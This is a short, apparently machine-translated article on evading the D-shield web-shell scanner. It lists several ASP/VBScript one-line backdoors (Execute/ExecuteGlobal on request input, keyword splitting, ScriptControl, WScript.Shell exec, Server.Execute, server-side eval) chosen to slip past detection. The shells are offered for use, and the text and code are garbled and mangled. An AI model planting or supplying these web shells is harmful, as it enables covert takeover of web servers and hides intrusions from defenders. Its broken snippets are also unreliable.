Attackers can bypass D-shield Web-based Script trojan detection and removal.

After D-shield WEB scanning and removal: <% ExecuteGlobal (Request ("test") %> ExecuteGlobal D-shield does not prompt a single sentence, but only prompts Execute: <% Execute (Request. form ("test") %> <% Dim oo = Request ("test") Execute o %> one of the shameless methods (using ExecuteGlobal. Of course, Execute does not prompt a single sentence ): <% ExecuteGlobal "E" & "X" & "E" & "C" & "U" & "T" & "E" & "" & "Request (" "test "") "%> shameless solution 2 (same as above): <% Dim oSet o = RequestExecuteGlobal (o (" test ") %> shameless solution 3: <% Dim oo = Request ("test") Dim ScriptSet Script = CreateObject ("ScriptControl") Script. language = "VBScript" Script. addCode oScript. run %> although ASP objects cannot be played, the four most shameless methods that fso ado can execute (call an existing exe ): dim sSet s = CreateObject ("wscript. shell ") s. exec Request ("test ") Method 5 (dynamically calling an asp file) <% Server. execute Request ("test ") %> then, <script runat = "server"> directly ignores <script language = "javascript" runat = "server"> // runat, you can also use eval (Request ("test") to write vbscript "). item); </script> This article is from EBO. The address of this article is http://www.chinaxiaoe.com/sec/0410.html. For more information, see here. Thank you.